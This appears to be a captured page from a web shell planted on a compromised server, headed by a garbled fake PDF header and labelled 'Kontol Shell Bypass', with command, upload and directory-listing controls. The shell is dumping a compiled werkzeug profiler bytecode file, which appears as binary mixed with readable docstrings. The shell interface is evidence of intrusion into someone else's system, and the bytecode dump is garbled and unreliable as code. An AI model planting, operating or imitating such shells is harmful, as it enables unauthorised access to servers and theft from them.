%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/werkzeug/middleware/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/werkzeug/middleware/__pycache__/profiler.cpython-39.pyc
a

�_g��@s�dZddlmZddlZddlZddlZddlZddl	m
Z
zddlmZWne
yjddlmZYn0ejr�ddlmZddlmZddlmZGd	d
�d
�ZdS)a9
Application Profiler
====================

This module provides a middleware that profiles each request with the
:mod:`cProfile` module. This can help identify bottlenecks in your code
that may be slowing down your application.

.. autoclass:: ProfilerMiddleware

:copyright: 2007 Pallets
:license: BSD-3-Clause
�)�annotationsN)�Stats)�Profile)�
StartResponse)�WSGIApplication)�WSGIEnvironmentc	@sJeZdZdZejddddfdddd	d
ddd
�dd�Zdddd�dd�ZdS)�ProfilerMiddlewarea	Wrap a WSGI application and profile the execution of each
    request. Responses are buffered so that timings are more exact.

    If ``stream`` is given, :class:`pstats.Stats` are written to it
    after each request. If ``profile_dir`` is given, :mod:`cProfile`
    data files are saved to that directory, one file per request.

    The filename can be customized by passing ``filename_format``. If
    it is a string, it will be formatted using :meth:`str.format` with
    the following fields available:

    -   ``{method}`` - The request method; GET, POST, etc.
    -   ``{path}`` - The request path or 'root' should one not exist.
    -   ``{elapsed}`` - The elapsed time of the request in milliseconds.
    -   ``{time}`` - The time of the request.

    If it is a callable, it will be called with the WSGI ``environ`` and
    be expected to return a filename string. The ``environ`` dictionary
    will also have the ``"werkzeug.profiler"`` key populated with a
    dictionary containing the following fields (more may be added in the
    future):
    -   ``{elapsed}`` - The elapsed time of the request in milliseconds.
    -   ``{time}`` - The time of the request.

    :param app: The WSGI application to wrap.
    :param stream: Write stats to this stream. Disable with ``None``.
    :param sort_by: A tuple of columns to sort stats by. See
        :meth:`pstats.Stats.sort_stats`.
    :param restrictions: A tuple of restrictions to filter stats by. See
        :meth:`pstats.Stats.print_stats`.
    :param profile_dir: Save profile data files to this directory.
    :param filename_format: Format string for profile data file names,
        or a callable returning a name. See explanation above.

    .. code-block:: python

        from werkzeug.middleware.profiler import ProfilerMiddleware
        app = ProfilerMiddleware(app)

    .. versionchanged:: 3.0
        Added the ``"werkzeug.profiler"`` key to the ``filename_format(environ)``
        parameter with the  ``elapsed`` and ``time`` fields.

    .. versionchanged:: 0.15
        Stats are written even if ``profile_dir`` is given, and can be
        disable by passing ``stream=None``.

    .. versionadded:: 0.15
        Added ``filename_format``.

    .. versionadded:: 0.9
        Added ``restrictions`` and ``profile_dir``.
    )�timeZcalls�Nz/{method}.{path}.{elapsed:.0f}ms.{time:.0f}.profrzt.IO[str] | Nonezt.Iterable[str]zt.Iterable[str | int | float]z
str | None�str�None)�app�stream�sort_by�restrictions�profile_dir�filename_format�returncCs(||_||_||_||_||_||_dS�N)�_app�_stream�_sort_by�
_restrictions�_profile_dir�_filename_format)�selfr
rrrrrr
r
�I/vddos/python/lib/python3.9/site-packages/werkzeug/middleware/profiler.py�__init__Ys	zProfilerMiddleware.__init__rrzt.Iterable[bytes])�environ�start_responsercsZg�d��fdd�	�dd�����fdd�}t�}t��}|�|�d���}t��|}�jdur�t�j�r�|dt��d	��d
<����}n6�jj�d�d�d
��	d
d�p�d|dt��d�}t
j��j|�}|�|��j
du�rTt|�j
d�}	|	j�j�td�j
d���dd�}
td|
���j
d�|	j�j�td�d��j
d�|gS)Ncs�|||��jSr)�append)�status�headers�exc_info)�
response_bodyrr
r�catching_start_responsensz<ProfilerMiddleware.__call__.<locals>.catching_start_responser)rcs4���t�d���}��|�t|d�r0|��dS)Nr�close)r�t�cast�extend�hasattrr&)Zapp_iter)r%rr$rr
r�runapprs�

z+ProfilerMiddleware.__call__.<locals>.runapp�g@�@)�elapsedr	zwerkzeug.profiler�REQUEST_METHODZ	PATH_INFO�/�.�root)�method�pathr-r	)rzP--------------------------------------------------------------------------------)�file�zPATH: �
)N)rr	Zruncall�joinr�callabler�format�strip�replace�osr3Z
dump_statsrrZ
sort_statsr�print�getZprint_statsr)rrrr+�profile�start�bodyr-�filename�statsZ	path_infor
)r%rr$rrr�__call__is>	



�
�
zProfilerMiddleware.__call__)�__name__�
__module__�__qualname__�__doc__�sys�stdoutrrDr
r
r
rr"s9�r)rH�
__future__r�os.pathr<rIr	�typingr'ZpstatsrZcProfiler�ImportErrorr?�
TYPE_CHECKINGZ_typeshed.wsgirrrrr
r
r
r�<module>s

Kontol Shell Bypass